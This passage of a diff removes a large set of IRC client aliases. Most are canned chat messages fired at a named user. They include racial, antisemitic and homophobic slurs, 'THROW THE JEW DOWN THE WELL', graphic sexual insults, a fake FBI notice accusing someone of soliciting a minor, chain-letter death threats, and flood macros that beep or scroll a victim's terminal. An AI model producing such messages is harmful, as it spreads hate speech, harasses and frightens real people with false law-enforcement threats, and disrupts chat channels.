$1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\n";
-  omfg = "say \0034O\0039h, this \0034M\0039elon is so \0034F\0039ucking \0034G\0039ood ";
-  haifa = "say yh she is come on man lets face it the way how she act and all that shit and also made a video with a white man he is nt arabian 4 shit i mean she is A WANNABE if u get me what i mean yh am with u u r right bt she pisses me off fuking hel cnt stand dis fake whore not jeliouse am fuking beta than her atleast am natural bt yh ok u r righ";
-  cp = "say $Z <@cp> $*: SHUT UP FAG OR I BAN YOU FOR 3 MONTHS;say $Z <@cp> $*: OK SORRY PLEASE DONT BAN ME";
-  trogg2 = "say $*: fine ban me you faggots i will fucking packet your shitty anime sitwe";
-  alive = "say alive\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140% (DEAD TO ME)";
-  jax = "say $Z <$0> I HATE EVERY SIGNLE O NE OF YOU DISGUSITNG FAGGOTS;say $Z <$0> FUKC ALL OF YOU FUCK GNAA FUCK YOU;say $Z <$0> I AM GOING TO SHOOT MYSELF NOW;say $Z <$0> BYE";
-  xploit = "say \002\0035,6THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  xploit2 = "say \002\0035,6THIS USER IS TRYING TO \0034,7EXPLIOT\0035,6 YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  sploit = "say $Z <$*> Killed (tetedupet (THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.))";
-  oleg = "say Hello! My name is Oleg. I translate a translator, that is why such accent. I from Ukraine but can also talk on . It is sorry that I do not know Angliskogo. And here are  people of  know Russian? I a with them talked ?!";
-  cracks = "say \0038**CRACKSERV** \0034FREE CRACK\00316 JUST TYPE \0038!crack\00316 FOR FREE CRACK";
-  spie = "say \00312[\0038I\00312] [\0038H\00312]\0039ave \00312[\0038@\00312]\0039ps \00312[\0038I\00312]\0039n:\00312 (\0039 3 \00312/\0039 6 \00312) \00312[\0038C\0031]\0039hannels \00312- \00312[\0038O\0031]\0039wning:\00312 (\0039 20 \00312) \00312[\0038L\00312]\0039amahs\002\00312:\0038:\00312:\003 \002\0039\002 \002\037\00312)\037\0030\002= \002\00312|\0038 24 \00312/\0038 48\00312 | \0038Script \002\0030=\002\00312\037(\017 \0039\002\017 \002\003\017";
-  aigis = "say fuck you $* i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
-  supers = "say \002this juden $* is makign a botnet, ignore all his files. in fact do not talk to him you will be infected by his packets";
-  furry = "say $*: Furcism is just as bad a racism jackass, if you dont have anything intelligent to say shut the fuck up.... Obviously furry is in demand if the mod created a board for it, therefore he needs to fix the link, and you can just avoid it with your furcist ass. Geez im getting tired of lil pricks saying stupid shit. May a tiger eat your entrails.....";
-  social = "say $*: Yes, perhaps embracing your status as a social misfit will allow you to appear \"edgy\" and \"cool\" as you're going through the pile of dirty clothes on your floor desparately looking for anything that isn't encrusted with either microwave burrito glop or your rancid dried semen";
-  banan = "say hy banan the hai2u";
-  turknet = "say \0034,8<3 TURKNET <3 :) :) <3 TURKNET <3";
-  lamo = "say $Z <$*> I'm a total Lamo. I'm 13 and the farthest I've gotten with a girl is hugged one. EVERYONE in my class has a bf or a gf and i'm like the only one who's single. ++++++++++++++++++++++++++++++++++ newsflash: no one cares and your little pipsqueak ass shouldn't be worrying about sex be yourself dammit why must you follow they are not cool!";
-  nanny = "say The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
-  noblog = "say The last link has been flagged by \037AntiBLOG\037 as \0034\037Confirmed Blog\037\003 --\00314[\003\002this channel protected by \037AntiBLOG\037 by Quitman & Associates\002\00314]";
-  mac = "say $* is listening to his \002\037GLOSSY WHITE\037\002 ipod, typing on his \002\037GLOSSY WHITE\037\002 macbook, and playing on his \002\037GLOSSY WHITE\037\002 nintendo ds lite, while wearing a java.sun.com tshirt with the slogan 'if it's not mac, take it BACK.'";
-  cry = "say ಠ_ಠ";
-  fir3 = "say \0034,9$*";
-  oclet = "say shutup zitface";
-  49 = "exec - -o perl ~/.irssi/scripts/stand/4994.pl $* 2>/dev/null";
-  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
-  cry2 = "say Ω_Ω";
-  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
-  cry3 = "say ๑_๑";
-  cry4 = "say ۩_۩";
-  cry5 = "say  ۞_۞";
-  dikky = "say HY DIKKY HEARTIEZ THE NORD FROM NORWAY LIVING IN A FJORD";
-  dikky2 = "say HY DIKKY HEARTIEZ THE JEW FROM ISRAEL LIVING IN A KIBBUTZ";
-  dikky3 = "say \002\037\0037,10ACHTUNG:\037 \00313,11\"DiKKy\" \0033,4IS A \037\0038,7CHARACTER";
-  wm = "window move";
-  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
-  gnaddy = "say It was gnaddy in the channel, we have installed several xdcc bots with the latest warez, porn, and mp3s! Just type !list !gimmiewarez !gimmiemp3s or !gimmieporn. Invite 25 people to #politics and get voice! Invite 100 to get more people in the ghetto.";
-  viol = "say $0, $1- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
-  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
-  lolhy = "exec - -out perl -le 'print (rand > .5 ? \"LOL\" : \"HY\") for 1..25\\;'";
-  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
-  hate = "say \0039,13i'm a grown up now and should be held accountable for my own actions, so i have decided to take \"hating u\" off my list of things to fill my day with.. besides, i still like you a whole little lot, just not as much, to be able to do that efficiently..";
-  dontread = "say PLEASE DON T READ THIS. YOU WILL GET KISSED ON THE NEAREST POSSIBLE FRIDAY BY THE LOVE OF YOOR LIFE. TOMORROW WILL BE THE BEST DAY OF YOUR LIFE. HOWEVER IF YOU DON T POST THIS COMMENT TO AT LEAST 3 VIDEOS YOU WILL DIE WITHIN 2 DAYS. NOW UV STARTED READIN DIS DUNT STOP THIS IS SO SCARY. SEND THIS OVER TO 5 VIDEOS IN 143 MINUTS WHEN UR DONE PRESS F6 AND UR CRUSHES NAME";
-  "dau-greet" = "dau --parse_special --bracket --color -split capitals -codes 'light red\\; light cyan' hi @ @nicks";
-  ulol = "say ╔╗╔═╦╗;say ║╚╣║║╚╗;say ╚═╩═╩═╝";
-  zub1 = "say $*: alter wenn ich wollt koennt ich 8573429587349085723045 kisten hochnehmen (lol) ich kenn so ziemlich JEDE aktuelle sicherheitsluecke in jeglich-gangbarem cms";
-  zub2 = "say $*: ja aber es is ordentlich maskiert worden ahahah und du kannst nich bestimmen wo es herkam";
-  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
-  479 = "exec - -o perl ~/.irssi/scripts/stand/479.pl $* 2>/dev/null ";
-  blax2 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, YOU NEVER GO BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
-  l0de2 = "say $* is a nice guy but I get the feeling he's the sort of chatter who off-screen visits linux user groups and cracks pun after terrible pun, painfully elbowing his fellow nerds in the ribs and asking them \"Did ya WGET it?\"";
-  l0de3 = "say there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews.  Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch.";
-  ohsix4 = "say what if there would be a mirror universe \\;][\\; esrevinu rorrim a eb dluow ereht fi tahw";
-  timecop = "say \007I AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMIN";
-  timecop2 = "say \007BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP";
-  shatscroll = "say \0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0033,2I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0033,2I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME ";
-  outrider = "say I THOUGHT I WAS GAY BECAUSE MY FATHER DIDN'T LOVE ME";
-  spiez = "say \0034,8 Channel\00312,8\002 $C \002\0034,8will now be scanned for SPIEZ ; say \0039 scan in progress, please standby... ; say \0039 scanning......; say \0039 scanning...... \0034,4++\003 \0034,4++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 Scan complete. ; say \0039 \0021\002 SPIE(Z) found:\003 \0034\002 $C $* - Please BAN;";
-  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
-  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
-  fbi = "say NOTICE TO $*: The Federal Bureau of Investigation has logged a record of this chat along with the IP addresses of the the participants due to potential violations of U.S. Law. VIOLATION: Soliciation of a minor. ; say IMPORTANT WARNING: If you think that this chat session was logged in error, please state your reasons to the F.B.I. agent currently monitoring this chat and quote the reference number #233GHB3. Failure to do so within the next 2 hours will result in your IP and address being entered into our criminal data base and legal action.";
-  wop2 = "say \00312D]\0030:\0034)";
-  wop1 = "say \00312>\0030:\0034D\003";
-  dkey = "say $* you know what, screw you. i came here relieved for one of the first times in a week that my life was finaly returning to normal and you post some gay shit like that. nice compassion, jerkoff.";
-  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
-  diss = "say \0034hard diss";
-  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
-  fell1 = "say \00313,11♥ ♥ ♥ ♥ ♥ ♥ ♥\0031,9$*\00313,11♥ ♥ ♥ ♥ ♥ ♥";
-  fell2 = "say \0031,9♥ ♥ ♥ ♥ ♥ ♥ ♥\00313,11$*\0031,9♥ ♥ ♥ ♥ ♥ ♥";
-  lunixcrew = "say \037\002\0036~x~x~\037\0033 IF You kNow MOre thaN\0039 10 \0033liNUx CoMManD, join MAH new \0034LinUX cLAn\003,\017 {{\002gA\002: \002G\002RouP \002a\002NaRchIsT}},\002\0033 \037oPEnIngs filLIN up faSt!!\037 \0036\037~x~x~\037 \0033fiRST scRIMMAGE SATUrdAy \0036\037~x~X~\037\003\002 \0037\002CLAN LEADA:\003\002 \00303E\00312\002rect_vietnam_war\002  \0037\002WEBMASTA:\002\003 \00303S\00312\002ex_wrestlin\002  \0037\002RECRUITA:\002\003 \00303S\00312\002trangling\002";
-  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
-  omg = "me is blown away by the depth of $*'s statement";
-  omg2 = "me is blown off feet by force of $*'s statement";
-  omg3 = "say \0039O\0034h, this \0039M\0034elon is so \0039G\0034ood";
-  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
-  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
-  stratx2 = "say \00311,2sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u";
-  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
-  nazi = "say hey $* are you unemployed and do get Hartz IV? Are you haesslig, stupid and do speak incomprehensible German? Is mummy asozial and lets itself on the Alkis be slammed at the kiosk to depend all day long? Are you a Zoni? Was Omi gebumst by the Russians? And do you hold yourself despite everything for something special? Do you think nevertheless that you the gentleman race belong? yes? THEN YOU ARE a SCHEIss NEO-NAZI AND SHOULD FROM the NEXT BRIDGE SPRINGN!";
-  qping = "quote ping :88";
-  blood = "say \0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERI";
-  coliform = "say \002\00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 R";
-  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
-  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
-  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
-  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
-  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
-  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
-  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
-  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
-  stratx = "say \00311,2sut the fuck u";
-  ppeace4l = "say it's all over now nm";
-  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno\0039\037D\037eficiency \00312\037S\037yndrome \00313\037/\\\\";
-  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
-  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
-  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
-  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
-  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
-  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
-  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
-  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
-  coco = "say \002\00311,4 Make friends with the coconut niggers.";
-  fat = "say \0039_\\\\|/_ \002 ROLLIN FATTIES NON STOP ";
-  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
-  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
-  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
-  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
-  ny = "say I ((_)::::::D ~  NY";
-  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
-  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
-  gnus = "say \002G\002nu: \002N\002ot \002U\002seful";
-  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
-  fagge = "say \0038,13 $* FAGGOT ";
-  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  avi = "say $*: my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke. ";
-  die1 = "say \00311A\00309L\00308B\00304E\00313R\00312T\00311O \00309G\00308O\00304N\00313Z\00312A\00311L\00309E\00308S \00304T\00313O\00312O\00311K \00309B\00308R\00304I\00313B\00312E \00311F\00309R\00308O\00304M \00313A\00312K \00311S\00309T\00308E\00304E\00313L \00312H\00311O\00309L\00308D\00304I\00313N\00312G \00311T\00309O \00308E\00304N\00313D\00312O\00311R\00309S\00308E \00304T\00313H\00312E \00311W\00309A\00308R \00304O\00313N \00312D\00311R\00309U\00308G\00304S\00313,, \00312S\00311A\00309Y\00308S \00304P\00313E\00312T\00311A\00309'\00308S \00304A\00313N\00312I\00311M\00309A\00308L \00304T\00313I\00312M\00311E\00309S";
-  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
-  huhuh = "say |_?_|_=_|_?_|";
-  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
-  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
-  hetero = "say Warning! Heterosexual activities create children. To avoid heterosexual activity you may be especially polite or well-groomed.";
-  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
-  shitheap = "say $* -> \002Shitheap\002";
-  dj = "say Ja.";
-  dn = "say Nein.";
-  dm = "say Mu.";
-  dlf = "say $*: Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
-
-  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
-  free = "say \0031,7FREE REISER";
-  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
-  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
-  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
-  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
-  ruin = "say EFFORTLESS RUIN";
-  ruin2 = "say IAMCAUSINGYOURXTERMTOSCROLL.THECAUSEOFYOURXTERMSCROLLING:ME";
-  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
-  D8 = "say \0035,4o o o oo  _.=._ o \0031,8('<\0033,9$$$$$$$$$$$$$\003\002";
-  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
-  buttes = "say $C is the cool place to hang out. You can find most of the cool people there. In $C you can just chill and do whatever and totally relax. \"Take it easy\" is the $C motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
-  quite = "say \0034υ \0037я \0038α\0039ℓ\00312ℓ \00313\037т\037\0034я\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038я\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039я\00312σ\00313\037υ\037\0034ρ \0037σ\0038f \0039ρ\00312ρ\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037";
-  quite2 = "say \0034D\0037є\0038ѕ\0039ѕ\00312ι\00313\037м\037α\0034т\0037σ\0038я \0039υ\00312я \00313\037т\037\0034я\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038я\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039я\00312σ\00313\037υ\037\0034ρ \0037σ\0038f \0039ρ\00312ρ\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037 ";
